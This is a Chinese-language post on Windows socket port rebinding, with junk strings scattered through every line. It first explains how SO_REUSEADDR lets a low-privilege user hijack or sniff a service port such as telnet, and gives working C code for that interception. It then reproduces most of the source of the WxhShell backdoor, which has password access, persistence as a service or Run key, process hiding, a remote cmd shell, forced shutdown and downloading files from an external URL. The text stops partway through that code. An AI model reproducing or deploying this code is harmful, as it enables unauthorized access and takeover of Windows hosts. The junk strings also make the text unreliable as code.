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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kbcqUE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DX\|*:, fvH4<c5x saddr.sin_family = AF_INET; \])-Bp, ob(S/t saddr.sin_addr.s_addr = htonl(INADDR_ANY); +jifbf- f *HEw bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'G>gNq (h$[g"8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z H1UAf _f1~r^(/T0 这意味着什么?意味着可以进行如下的攻击: 9=FqI50{ q wd7vYBc, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %k8H'w\ A&8{0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4
>2g&);B -l2aAK1M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t7; ^rk* uNoP8U%* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !YZ$WiPl WNo",Vc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L?:fyNA3[ %X^K5Io 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TTQ(\l4 rV[/G#V>{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eX0ASI9 1v2pPUH\ #include K'tckJ#% #include m_;<7W&p] #include qy$1+>f1 #include 9s9_a4t5 DWORD WINAPI ClientThread(LPVOID lpParam); E|`JmfLQu int main() tY>_+)oi { g6V>_| WORD wVersionRequested; x } X1
O) DWORD ret;
jph"94 WSADATA wsaData; 5U[bn=n BOOL val; nbf w7u SOCKADDR_IN saddr; 1:Dm,d; SOCKADDR_IN scaddr; 48p< ~#<W\ int err; 8-clL\bm SOCKET s; zh60b{ SOCKET sc; u
^}R]:n int caddsize; _W + HANDLE mt; 4w<4\zT_U} DWORD tid; J\fu6Ti wVersionRequested = MAKEWORD( 2, 2 ); FsTl@zN err = WSAStartup( wVersionRequested, &wsaData );
J~=tR1k if ( err != 0 ) { 23_\UTM}1 printf("error!WSAStartup failed!\n"); Dc;zgLLL return -1; 78n`VmH~L } ^PrG5|,s saddr.sin_family = AF_INET; x |0@T ? ?$Tp|<tx# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p+7ZGB jDKL}x saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )(`HEl>-9c saddr.sin_port = htons(23); ,lUr[xzV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DwBKqhu { gT8% ?U: printf("error!socket failed!\n"); b$O1I[o return -1; $1< ~J } 8*\PWl val = TRUE; XaH%i~}3 //SO_REUSEADDR选项就是可以实现端口重绑定的 $Il:Yw_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ouO<un { }_GI%+t printf("error!setsockopt failed!\n"); ZlEH3-Zv return -1; Z<M?_<3 } jJU9~5i? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l$mfsm|{: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B!iz=+RNC1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )HPe}(ypt ^Ox|q_E
w} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LkA_M'G { QT[yw6Z ret=GetLastError(); R3\oLT4 printf("error!bind failed!\n"); :^92B?q return -1; G
zw
$M } v==]v2- listen(s,2); S{. G=O while(1) h|OsT { v5Qp[O_ caddsize = sizeof(scaddr); #G`UR //接受连接请求 ;E0aTV)Zp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :3$$PdZ if(sc!=INVALID_SOCKET) ,MRAEa2 { fBZAO mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <~ 9a3c? if(mt==NULL) nPh|rW= { ER4j=O# printf("Thread Creat Failed!\n"); `:&jbd4H break; B^yA+&3HI } Cg 4l*"_ } }US^GEs( CloseHandle(mt); "PhP1;A9, } Ed$;#4 closesocket(s); L28DBj E)A WSACleanup(); 64jFbbd-/ return 0; +;*dFL } #eKg!]4-R DWORD WINAPI ClientThread(LPVOID lpParam) ?r"QJa> { Okt0b|=`1* SOCKET ss = (SOCKET)lpParam; }_vUs jK SOCKET sc; ,Q>RtV unsigned char buf[4096]; E Qn4+ SOCKADDR_IN saddr; Jg:%|g long num; 3|qT.QR`Z DWORD val; hCvK2Xu DWORD ret; R3,O;9i //如果是隐藏端口应用的话,可以在此处加一些判断 5:W5@e{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `N.^+Mvx- saddr.sin_family = AF_INET; ay-M.J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rz\:)<G saddr.sin_port = htons(23); {~u#.( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m?4L>' { THcK,`lX@ printf("error!socket failed!\n"); |'?./ return -1; F\lnG } `<3xi9 val = 100; /yhGc}h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jq8CII { 'L1=:g.\i ret = GetLastError(); tITx+i return -1; A.@/~\ } yR|Beno if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EJ&aT etQ { nz%{hMNYH ret = GetLastError(); zUNWcv!& " return -1; l%^VBv>
2 } 0[SJ7k19 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S.Rqu+ { oMNgyAp^ printf("error!socket connect failed!\n"); +?I1Og closesocket(sc); { t1|6R0 closesocket(ss); F!yr};@^p return -1; _${//`ia= } q5D_bm7,3 while(1) `mt.=d { _pZaVx
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q+ tUxa+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZA>p~Zt //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n>|7 k3 num = recv(ss,buf,4096,0); KOqp@K$ if(num>0) qC;1ND send(sc,buf,num,0); ]u\K}n6[q else if(num==0) GI ~<clhf break; C>bd
HB7 num = recv(sc,buf,4096,0); 14LOeo5O if(num>0) eq<giHJM send(ss,buf,num,0); P}dhpU else if(num==0) %%-hax.x0X break; h0v4!`PQ- } XC NM closesocket(ss); aOWfu^&H: closesocket(sc); ImnN&[Cu return 0 ; IC[iCrB } {y0 `p1 s1/:Ts[3i t^Hte^#S ========================================================== _Vj uQ Ait3KIJ9 下边附上一个代码,,WXhSHELL 2wKW17wj, =Y;w O8 ========================================================== 6L\?+=X 'c")]{ #include "stdafx.h" _h7qS e.<y-b? #include <stdio.h> p"lTZ7c:Y #include <string.h> $:
%U`46%s #include <windows.h> vi:IO #include <winsock2.h> Ev' BmDk #include <winsvc.h> ,cg%t9 #include <urlmon.h> ={GYJ.*Ah ejID5NqG #pragma comment (lib, "Ws2_32.lib") t(,_ #pragma comment (lib, "urlmon.lib") 4PVkKP'/ >^!qxb- #define MAX_USER 100 // 最大客户端连接数 K/OE;;<IA #define BUF_SOCK 200 // sock buffer P{{pp<tX*& #define KEY_BUFF 255 // 输入 buffer K}(0H [P kS@6'5U #define REBOOT 0 // 重启 _r6aLm2n #define SHUTDOWN 1 // 关机 8&0+Az"{O $cUTe #define DEF_PORT 5000 // 监听端口 zURob MpE# P<1ZpL #define REG_LEN 16 // 注册表键长度 }/{G #define SVC_LEN 80 // NT服务名长度 iTgv8 w
N-np3k // 从dll定义API ;1x(~pD*o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cV8Bl="gqe typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `^_c&y K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2z*EamF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n{'LF #4l vH14%&OcN // wxhshell配置信息 );*:UzsC_ struct WSCFG { :Y4m3| int ws_port; // 监听端口 JTg:3<L char ws_passstr[REG_LEN]; // 口令 T,G38 int ws_autoins; // 安装标记, 1=yes 0=no )>-94xx| char ws_regname[REG_LEN]; // 注册表键名 D1G9^7:^E char ws_svcname[REG_LEN]; // 服务名 wz[Xay9jW char ws_svcdisp[SVC_LEN]; // 服务显示名 rnNB!T char ws_svcdesc[SVC_LEN]; // 服务描述信息 4v[Zhf4JM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z[vHMJ
0 int ws_downexe; // 下载执行标记, 1=yes 0=no +"P!es\q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" EhWYFQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pAdx 6 Twq/Y07M }; -!Ov{GHr0 y6#AL<W@= // default Wxhshell configuration 2g0_[$[m struct WSCFG wscfg={DEF_PORT, xlKg0&D "xuhuanlingzhe", mCb1^Y 1, `2
6t+Tb "Wxhshell", J_-K"T|f "Wxhshell", {KQ]"a 6 "WxhShell Service", 85e!)I_ "Wrsky Windows CmdShell Service", {pJf~ "Please Input Your Password: ", |f+`FOliP 1, /+
yIcE(&3 " http://www.wrsky.com/wxhshell.exe", Kg8n3pLAX "Wxhshell.exe" bf4QW JZD }; A!GQ4.~% k[ZkVwx // 消息定义模块 hiT&QJB` _ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H@|h
Nn$@ char *msg_ws_prompt="\n\r? for help\n\r#>"; /TEE<\" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Pl/}`H:R& char *msg_ws_ext="\n\rExit."; q0sdL86 char *msg_ws_end="\n\rQuit."; ;rj|> char *msg_ws_boot="\n\rReboot..."; W]B75 char *msg_ws_poff="\n\rShutdown..."; [H4)p ,R char *msg_ws_down="\n\rSave to "; _GW, 9s^A 'lWgHmE char *msg_ws_err="\n\rErr!"; #ULjK*)R char *msg_ws_ok="\n\rOK!"; $R&K-;D/8 v?O6|0#x char ExeFile[MAX_PATH]; GS)4,. int nUser = 0; c9/&A HANDLE handles[MAX_USER]; %96l(JlJ)B int OsIsNt; IIh \d.o Fo.p}j+> SERVICE_STATUS serviceStatus; 'nQQqx%v SERVICE_STATUS_HANDLE hServiceStatusHandle; lnQfpa8j l$:?82{ // 函数声明 qmy3pnL int Install(void); 4Pv Pp{Y int Uninstall(void); gcI?)F int DownloadFile(char *sURL, SOCKET wsh); /:GeXDJw int Boot(int flag); jt?DogYx void HideProc(void); v\ <4y P int GetOsVer(void); O[<YYL0 int Wxhshell(SOCKET wsl);
Neb") void TalkWithClient(void *cs); [sc4ULS & int CmdShell(SOCKET sock); {kOTQG?y int StartFromService(void); 8M6wc394 int StartWxhshell(LPSTR lpCmdLine); &P:2`\' :jHDeF.A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5fDp"- VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'UFPQ sZh| <2 // 数据结构和表定义 lHI?GiB@ SERVICE_TABLE_ENTRY DispatchTable[] = Y'U]!c9 { n4A#T#D!t3 {wscfg.ws_svcname, NTServiceMain}, s`dwE*~ {NULL, NULL} 9D`p2cO }; ir<K"wi(2 Qz4n%| // 自我安装 {oVoN>gp int Install(void) Qj3l>O { 8{B]_:
-: char svExeFile[MAX_PATH]; $ISx0l~ HKEY key; _t-e.2a
v strcpy(svExeFile,ExeFile); N2.(0 G spG3"Eodi // 如果是win9x系统,修改注册表设为自启动 MZWicfUy if(!OsIsNt) { c`s ]ciC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (yO8G-Z0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lU8X{SV! RegCloseKey(key); N_o|2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j21>\K!p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a0)] W%F RegCloseKey(key); LB\+*P6QM return 0; ;=lQMKx0 } /
0ra]}[( } I4Rd2G_ } }!^`%\ %\ else { t2_pwd*B S]g`Ds< // 如果是NT以上系统,安装为系统服务 9Ac4'L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bFB.hkTP if (schSCManager!=0) g$T%
C? { e\95X{_' SC_HANDLE schService = CreateService zW:r7
P. ( \H{UJ schSCManager, %(ms74R+ wscfg.ws_svcname, KYM%U"j D wscfg.ws_svcdisp, A|<i7QVY SERVICE_ALL_ACCESS, Lgrpy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a_(fqoW SERVICE_AUTO_START, ^X|Bzz) SERVICE_ERROR_NORMAL, &'"dYZj{ svExeFile, ZRn!z`.0 NULL, PL*1-t?# NULL, i:n1Di1~E NULL, jpt-5@5O NULL, u!TMt8+c NULL P*g:rg ); lnWscb3t if (schService!=0) =y]FcxF { !f01.Tq8 CloseServiceHandle(schService); +L-(Lz[p CloseServiceHandle(schSCManager); !)HB+yr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XGSgx strcat(svExeFile,wscfg.ws_svcname); Jl-:@[; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,r,$x4* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;dquld+q RegCloseKey(key); }~!KjFbs return 0; -`ss7j&b3 } Co^GsUJ } 0I7 r{T CloseServiceHandle(schSCManager); -:|t^RM;FT } h:Hpz } 4=C7V,a !~-@p?kW/ return 1; 4%>2>5 } v
O@7o CH] +S>$ // 自我卸载 qrkJ: int Uninstall(void) ~mk>9Gp { ,Wlw#1fP HKEY key; 1+9}Xnxb ,niQs+'< if(!OsIsNt) { S&{#sl#e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AI9#\$aGV RegDeleteValue(key,wscfg.ws_regname); @%gth@8 RegCloseKey(key); k[8{N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C7_nA:Rc RegDeleteValue(key,wscfg.ws_regname); |`Q2K9'4bL RegCloseKey(key); O>/&-Wk= return 0; ~pPj } Y~P*
!g } }]+k } NflRNu:- else { 9PWqoz2c 2SJ|$VsLaE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JB9s#` if (schSCManager!=0) nD}CQ_C { pg/SYEvsV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gbT1d:T if (schService!=0) e6
a]XO^ { ]z"7v if(DeleteService(schService)!=0) { -jcgxQH53 CloseServiceHandle(schService); FSHC\8siS CloseServiceHandle(schSCManager); r(p@{L185 return 0; j)Y68fKK } ^wMZG'/ CloseServiceHandle(schService); x2Dg92 } B;r` 1
G CloseServiceHandle(schSCManager); =m/BH^|&W } [f#7~ }
(x1 #_~ hs?cV)hDS return 1; ITf4PxF } Tw@:sWC s E0ldN" // 从指定url下载文件 xAu&O\V int DownloadFile(char *sURL, SOCKET wsh) Zz^!QlF { /m8&E*+T1 HRESULT hr; b
=R9@! char seps[]= "/"; 4nU+Wj?T char *token; Ht&%`\9s char *file; RZTC+ylj char myURL[MAX_PATH]; %]fi;Z char myFILE[MAX_PATH]; A ?ij \ 3FOI strcpy(myURL,sURL); M1 _1(LSU token=strtok(myURL,seps); P>qDQ1 while(token!=NULL) 6+W`:0je { c|(&6(r file=token; {7+y56[yu token=strtok(NULL,seps); LseS8F/q } ]C5/-J,F 2M*84oh8P GetCurrentDirectory(MAX_PATH,myFILE); 7"s8G7 strcat(myFILE, "\\"); [Q:mLc strcat(myFILE, file); vl:V?-sY send(wsh,myFILE,strlen(myFILE),0); k_](u91 send(wsh,"...",3,0); Gp}}MGk hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0`
UrB: if(hr==S_OK) DW0UcLO return 0; DRmN+2I else }D*5PV%d return 1; ,xuA%CF-S epQdj=h } '<% ;Nv T}y@ a^# // 系统电源模块 ER)to<k int Boot(int flag) >;Vy{bL8 { y({ EF~w HANDLE hToken; |>jlmaV TOKEN_PRIVILEGES tkp; k8O%gO #uCE0}N@ if(OsIsNt) { R d>PE=u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V^qkHm e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .;jp2^ tkp.PrivilegeCount = 1; m$80D,3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #ByrX\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %TS8 9/ if(flag==REBOOT) { OQ*rxLcA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q+cx.Rc# return 0; r>;6>ZMe } ,n/^;. _1 else { BiCC72oig if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kqt.?iJw return 0; YZQF*fj } ]hjA,p@Q } RinaGeim else { q
!Nb-O{ if(flag==REBOOT) { } DQ KfS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P=
nu&$; return 0; ^^{7`X
u } *$v`5rP else { tP0!TkTo9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hp!. P1b return 0; ]97`=,OUg } 'X/(M<c } 7MhN>a;A\ y)0wM~E;2 return 1; MfK}DEJK, } 'D17]Lp~. UY`U[# // win9x进程隐藏模块 H3Sfz' void HideProc(void) P#N@W_""YD { P=PVOt@
b t7qzAr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *;X,yEK[ if ( hKernel != NULL ) 8|H^u6+yz { 6[SE*/E@L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MWn+e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c^%&-], FreeLibrary(hKernel); $C`YVv%?0 } Fa^I 1fk v&}^8j return; ,<,#zG[. } Yb=Z`) .jvRUD8A7 // 获取操作系统版本 m5\/7 VC int GetOsVer(void) :+$/B N:iO { /I@Dv? OSVERSIONINFO winfo; }S}9Pm,: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Lt Lu GetVersionEx(&winfo); 1-:{&! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'c&S%Ra[3G return 1; p!RyxB1.| else $hE,BeQ return 0; 4}MZB*);0 }
2%gLq (5R_q.Wu // 客户端句柄模块 z2DjYTm[~ int Wxhshell(SOCKET wsl) _1U7@v:<@ { ebmU~6v k SOCKET wsh; E!}~j struct sockaddr_in client; o%V%@q H DWORD myID; $ITh)#Nj HqKI|^ while(nUser<MAX_USER) {Tl |>\[P { +y\mlfJ.-b int nSize=sizeof(client); Y.}8lh
eH wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q:X&)f if(wsh==INVALID_SOCKET) return 1; 3tAX4DnYrq MaQ`7U5 |e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v''F\V ) if(handles[nUser]==0) 5"o)^8!> closesocket(wsh); Kta7xtu else 4M{]YZMw8 nUser++; 6$_// } A.>TD=Nz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F` "bMS 2j(]Bt: return 0; 'D<84|w:1 } X4dXO5\ H6/C7 // 关闭 socket b0ablVk void CloseIt(SOCKET wsh) %3A~& { 6}S1um4 F closesocket(wsh); +!9&zYu! nUser--; jo^+ ExitThread(0); }"o,j>IP } />[X
k 7PG|e# // 客户端请求句柄 G$_=rHt_% void TalkWithClient(void *cs) 6p1)wf.J { I@9[ "5@k\?x" SOCKET wsh=(SOCKET)cs; ._5"FUg char pwd[SVC_LEN]; ^,WXvOy char cmd[KEY_BUFF]; _|qs-USA char chr[1]; WEVV2BJ int i,j; /C"?Y' %jRqrICd while (nUser < MAX_USER) { JMIS*njq^ O~=|6#c if(wscfg.ws_passstr) { "E/UNE6P4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dxAP7v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Bb86Y=3 //ZeroMemory(pwd,KEY_BUFF); |uRZT3bGyj i=0; u{dI[?@ while(i<SVC_LEN) { 3El5g0'G B9(e"cMm // 设置超时 .6xIg+ fd_set FdRead; 6Lhfb\2? struct timeval TimeOut; cc_v 4d{x FD_ZERO(&FdRead); !3 j@gi2 FD_SET(wsh,&FdRead); ,oS<9kC68 TimeOut.tv_sec=8; 2\, h "W( TimeOut.tv_usec=0; lhRo+X#G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w=MiJr#3^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q@HW`@i ((T0zQ7= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <sNkyQ pwd =chr[0]; i!k5P".o^ if(chr[0]==0xd || chr[0]==0xa) { O2 sAt3' pwd=0; bQelU break; Se>"=[= } +M %zOX/ i++; G"&yE.E5 } %\ef
Mhn ghu8Eg,Y // 如果是非法用户,关闭 socket P6
& _q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,OilGTQ# }
~!A*@aC 7B|
#*IZe send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '"QN{ja send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XBF]|}% z0Bw+&^]} while(1) { NL76 jF 5Dv;-G; ZeroMemory(cmd,KEY_BUFF); B^C!UWN>%X { :m%n- // 自动支持客户端 telnet标准 e6JT|>9A7 j=0; n0*a. while(j<KEY_BUFF) { K)!Nf.r$9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %e,X7W`'2 cmd[j]=chr[0]; VM [U&g<8n if(chr[0]==0xa || chr[0]==0xd) { Dd:;8Xo cmd[j]=0; 5l
ioL) break; P.Uz[_&l6 } gk.c"$2 j++; \ Rff3$ } 0>KW94 asQXl#4r // 下载文件 @ a?^2X^ if(strstr(cmd,"http://")) { ; M%n=+[O send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0-!K@#$>= if(DownloadFile(cmd,wsh)) '.8E_Jd0E send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f^'- else AO"pm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gPrIu+|F } XKEd~2h<y else { Mc#w:UH[ .tny"a& switch(cmd[0]) { 4?s
~S. % &!E+l<.RF // 帮助 zLB7'7oP case '?': { X\dPQwasM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Ne`F(c break; 4?3*%_bDJ, } 2G9sKg,kL // 安装 [LHx9(,NM case 'i': { A^9RGz4= if(Install()) %1Pn;bUU! send(wsh,msg_ws_err,strlen(msg_ws_err),0); !L)~*!+Gf else as%ab[ fX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >,V~-Tp break; K4V\Jj1l } f4Yn=D=_ // 卸载 Q#}
0pq case 'r': { 7@@,4_q E if(Uninstall()) l(CMP!mY send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Uxr+,x~ else ckWK+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >hcze<^S break; |_7AN!7j } :@H&v%h(u // 显示 wxhshell 所在路径 ",hPy[k case 'p': { \k69 S/O char svExeFile[MAX_PATH]; +UGWTO\#ha strcpy(svExeFile,"\n\r"); +U:U/c5Z^ strcat(svExeFile,ExeFile); !N@d51T=N send(wsh,svExeFile,strlen(svExeFile),0); 0 kM4\En break; 9O.okU } :s}6 a23 // 重启 v9t26>{~ case 'b': { [1\k'5rp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !M&Qca2 if(Boot(REBOOT)) .P|_C.3-l send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/ee&sJR else { yX'f"* closesocket(wsh); uV@#;c4 ExitThread(0); wePhH*nQ> } ^D=1%@l?# break; >4.K>U?0FC } el;ey Ga // 关机 #Pf?.NrTn case 'd': { "GTlJqhk send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _8f?
H#& if(Boot(SHUTDOWN)) VT;Vm3\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*e0/#s else { ?Bdhn{_ closesocket(wsh); !FqJP
OGm ExitThread(0); /g_cz&luR } M'n2 j break; 122%KS } 8-2e4^
g( // 获取shell yyj?hR@rZ case 's': { c89+}]mGq CmdShell(wsh); ds*N1[
* closesocket(wsh); R.FC3<TTv ExitThread(0); }KBz8M5 break; J ^y1=PM } 8)wxc1 // 退出 m!qbQMXn case 'x': { IsC`r7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +p%!G1Yz CloseIt(wsh); ;_HG
5}i break; J*n Q(*e } ;!ICLkc$ // 离开 xejQ!MAB case 'q': { ?51Y&gOEZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); TvbkvK closesocket(wsh); V?.')?'V WSACleanup(); =41g9UQ exit(1); UcHe"mn
break; Cm~Pn"K_] } g p2S } 2+2Gl7" s } /{[Y l[{"< DxFmsjX[L // 提示信息 S^Lu RF]F if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rW8.bMmM } aw\\oN* } LR:v$3 G(
xe~lV return; *WHQ1geI8 } V+A9.KoI G<2OL#Y- // shell模块句柄 S[2uez` int CmdShell(SOCKET sock) ?>p(* { &$1ifG STARTUPINFO si; &^v5 x" ZeroMemory(&si,sizeof(si)); pn:) Rq0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X{ZcJ8K si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z8 X=Md8= PROCESS_INFORMATION ProcessInfo; ;V=Y#|o char cmdline[]="cmd"; z^ai * CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b6mSPH@ return 0; >o]!-46 } R 2{ kS 95wi~^^ // 自身启动模式 ji|+E`Nii int StartFromService(void) _6tir'z { H'Oy._,]t typedef struct )}/ ycTs { ]tjQy1M DWORD ExitStatus; B#|c$s{ DWORD PebBaseAddress; F1Jd-3ei DWORD AffinityMask; wNk 0F7Ck DWORD BasePriority; 9_h
